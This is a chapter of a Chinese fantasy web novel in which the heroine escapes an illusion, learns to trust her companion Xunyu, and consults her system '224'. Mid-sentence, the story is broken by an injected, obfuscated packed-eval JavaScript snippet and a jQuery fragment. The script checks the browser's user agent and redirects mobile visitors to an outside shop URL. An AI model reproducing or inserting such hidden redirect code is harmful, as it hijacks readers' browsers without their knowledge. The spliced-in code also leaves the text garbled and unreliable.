绫鱼拿出头上的一支发钗,狠狠的插入自己的手心,鲜红血液刺痛着她的□□与神经,促使她保持清醒,脚步也因为眼前的一片猩红不自觉的向后一顿。
谁知竟被脚下的石子将她绊了一个踉跄,瞬间跌坐在地上,发出一声轻呼弄出不小的声响,绫鱼立马抬头去看,周围又多了一些粘在自己身上的视线,她意识到后它们注意到自己后,立马用手背死死抵住嘴唇,努力不泄出一点声音。
绫鱼放轻呼吸,注视着周围犹如饿狼般的视线,眯起眼睛观察了它们许久之后,也不见对方又任何动静,不禁发出疑惑。
如果它们是那画皮妖派来的东西,那必定是痛恨极了自己,现在自己与那几人分开,手无缚鸡之力,她完全可以一击致命的杀了自己,可她偏偏没有这么做,又或者这些东西跟她没有关系,自己暂时也没被发现。
事实看来就是这样,这些东西以及那幻境都只是他们用来掩人耳目的东西,真正的危险隐匿在这迷雾之后。
绫鱼用手撑着地面,忽略自己掌心的刺痛感,轻轻的倒吸几口凉气,手掌还是不可遏制的与土地发出擦碰的声音,那些视线意识到后,也随之移动。
绫鱼歪头微微思考了一瞬间之后,抬起头,从手边捡起将自己绊倒的那块石子,随后定住眼神,甩开手臂狠狠的将石子扔向与自己对立面。
果不其然,那些看的让人心发慌的眼睛也随着石头的响动将视线转移,绫鱼低头轻笑“果然是一群瞎子”。
接着趁着它们视线转移,蹑手蹑脚的提起裙子踮起脚尖,缓步离开。
绫鱼毅然的顺着眼睛出现越来越多的方向走去,一直跟着它们走应该就会出去迷糊幻境,这些眼睛看似骇人实则更像是一种指引,只不过是指引的是自己去死的方向。
果然越往前走雾气就越淡,知直到走了不知多久,久到绫鱼觉得自己的脚都被磨的生疼,也没看见除了雾气消散之外,与刚才有什么不同之处。
绫鱼低垂着眉眼,低着头往前走,等到自己的视线里出现了一片熟悉的衣角,才抬起头去看。
那是浔玉的模样,绫鱼立马想到刚才到的惊恐经历,心尖微微发凉,已经有了前车之鉴的绫鱼在注意到对方后,立马弹开往后倒了几步之远,让自己与对方保持一个绝对安全的距离。
正在低头思考人都去哪儿了的浔玉,注意到这边后,还来不及与绫鱼开口诉说什么,就立马看到对方像避开臭虫一样逃离自己。
抬头与对方对视之时,眼中满是不解与疑惑,随之发出疑问“绫小姐为何离在下那么远?”。
绫鱼双手环抱自己,将自己作为一个防御意识,正是因为这么一个动作,令对面的男人看到了自己手中的伤口,看样子是新伤,才刚刚结痂不久,浔玉眼眸微眯,确认自己没有看错。
“你有什么证据证明你是浔玉?”。
浔玉话音很是不解“绫小姐此话讲的好生奇怪?那你觉得在下应该如何证明我是我自己?”。
“那就是证明不了”说罢将手放在自己的发钗上,眼眸死死盯住对方的一举一动。
“你的手受伤了,可是遇到什么了?”浔玉话音中带着关心。
绫鱼额头微跳,就是因为遇到了你,我才变成这样的啊。
“我们进入幻境了,自从今日早上沈小姐他们二人奇怪的行径,我便猜出了七八分,你方才可是遇到什么了?可否与我讲讲?”。
绫鱼表情一顿,但还是不太相信对方,毕竟这妖物的能力可大着呢,知道这点微不足道的事情还不是手拿把掐?接着又发问“他们二人行径为何奇怪?”。
看到绫鱼听到后微变的神色以及联系到手中伤,便将对方的遭遇猜了个七七八八,““随后轻笑“还记得今日早上沈宁一直催你上路,自己给你的糕点”。
浔玉想到,那糕点现在恐怕早已变成一坨腐肉了吧,也不知道这个小白痴吃了没。
绫鱼痛苦的画面瞬间又浮现在脑海中,差点没忍住犯恶心“那又如何?”。
“那糕点有问题,在马车上,所以我阻拦你吃它”浔玉此番话一出,绫鱼其实内心已经有了些许动摇,可她如果真的这么容易放下新来相信别人,说不定刚才干尸的一幕又会上演。
“呵,没想到一个妖怪居然居然知道如此多的事情,你们还真是有本事啊”。
浔玉无奈,自己到底作何解释对方才能相信,随后召唤出自己的本命剑青丝,银光闪烁的剑身刺向绫鱼的眼睛,她一怔,自己怎么也不可能忘记这把剑,就是它将自己从妖物手下救了回来。
意识到对方是个真的浔玉后,随后将自己已经举着酸麻的手臂放下,发出一声哀叹“唉”一脸哀怨的盯着土地。
浔玉主动走上前,询问绫鱼到底遇到了什么,趁着对方正在绘声绘色的讲述自己的遭遇时,不动声色的从荷包中掏出膏药,拉起对方的带有伤口的那只手,轻撒上药末。
绫鱼注意到对方的动作后,瞬间一愣,反应过来后连忙将自己的手拽了回来,突然之间的动作令浔玉一愣。
反应过来后,也并未有什么特殊的表情,只是微笑着轻轻将药瓶放入对方手中“在下只是看绫小姐伤口不轻,想着帮你处理一下,实在是冒昧了,还望见谅”。
对方不论怎么说,绫鱼都没有怪罪对方的理由,只是表情微顿后干笑两声“多谢浔公子好心,我自己来吧”。
绫鱼找了棵树靠坐在上面,粗糙的上好药后,撤下自己的一片衣料包住自己的手,一旁的浔玉就这么静静的看着对方的动作。
直到绫鱼将一切都准备好,才站起身子准备离开,既然两人已经知道了此地的危险,肯定就不能分开,浔玉伸手拉起自己的衣角递给对方。
绫鱼心领神会,也不扭捏直接死死拽住它,跟着浔玉一路往前,只不过有了对方后,自己便没有那么心慌,只是一味低着头跟着对方。
绫鱼低头看着自己手中的衣料,不知为何思绪突然飞到了刚才浔玉给自己上药的画面,她想不明白对方为何如此关心自己,以及他说为了保护自己将自己带在身边的原因。
她也不知为何这种情绪有些与自己平日里的情绪不同,具体有什么不同,她也说不上来,和邻居大娘抢走自己辛辛苦苦养大的母鸡时那种怨恨不同,也和街头的乞丐伸手索要自己为数不多的钱财,当做保护费时自己却无力反击时的痛惜也不一样。
她觉得心里微微有些发麻发痒,只是这股情绪缓缓的慢慢的透过自己的心底。
“你说,你遇到了我的幻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17807986|210756||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
像?”一直在前方的浔玉开口,带着轻笑,主动将自己的经历提起,把绫鱼飘飞的思绪拉了回来。
“啊…对啊”。
“呵,那幻境是根据你的心智而变换的影像,你当时最想见到谁,就会看到谁的幻像”浔玉的话让绫鱼浑身一震,随后微微发抖。
不是别的情感,是气的发颤,面前这个人有什么资格笑话自己?明明是他口口声声说会好好保护自己,可是结果呢?还不是自己一个人面对危险,他却还在这里说风凉话调侃。
绫鱼越想越气,可碍于自己现在还需要对方的保护,只能忍气吞声,索性直接当做没听见,扭过头不理对方。
一直不见对方发声开口的浔玉疑惑,随后停下脚步回头去看,结果只看到了一个鼓成一个包子的侧脸,知道她在生气什么后,低头不动声色的将嘴角上升了一个点。
“唉,绫小姐你不知道,在下刚才与你分开以后心下慌张的不得了,一想到你会经历什么不测,我就觉得心脏呼吸不过来,连自己叫什么都忘了”一番话将自己说的无辜且让人挑不出刺,尽管绫鱼再不赞同,也只得生闷气。
“哼!”绫鱼依旧不理他。
直到走了不知多久,浔玉带着她在一旁休息时,才想起来沈宁二人“对了,你说你今日早晨便发现沈姐姐他们有问题,他们怎么了?”。
“他们被人控制了”浔玉不以为意。
“为何会这样?”绫鱼不知道那妖物究竟是如何控制原书那么厉害的男女主的。
他心下了然,当然是因为那二人有着不为人知的秘密。
“224,沈宁他们如何了?”绫鱼只是害怕他们二人出了问题影响自己的任务。
【放心吧宿主,他们都有主角光环不会有什么问题的,你出事他们都不会有事的,如果有那也是为了他们二人的感情升温而已】。
听到又是对方的光环后,绫鱼也不知心里到底是何滋味,不过她觉得,这应该就是嫉妒吧“呵,我何时说关心他们了?”。
【哦…】。
“脚如何了?”。
“啊?啊,哦,还是有点痛,我们是要在这里过夜吗?”绫鱼回过神,抬起头看着已经犯黑的天空。
“嗯,你的脚不能再走了,况且这里暂时也没什么危险,迷雾不只会迷惑我们,他们也会受到影响”说罢后,带着绫鱼找到一个相对隐蔽安全的地方,生起火。
两人坐下后,浔玉暮的从自己的怀中掏出一个布包递给绫鱼。
绫鱼在接过后一脸疑惑下打开,出现在自己眼中的是几个饼子,因为一直放在他的主人的怀中,即使过了很久,拿在手中也不冷不硬。
绫鱼震惊了一瞬间“你怎么?”怎么会贴身带着饼子。
“吃吧,你一天没吃饭了,会撑不住的”。
绫鱼微微紧握手中的布包,一股无名的情绪涌上自己的心尖,这种被人关心在意的感觉,自己已经很久没有体会过了。
她的脑海中浮现了几张已经被时间快要埋没封存的记忆,那是一个面容清秀的女人,她温暖的手心抚过自己的脸颊,手中的甜腻的粥一口一口往自己的嘴里送。
绫鱼觉得自己的视线渐渐模糊,随后一滴温热的液体滴落到自己面前的饼子上。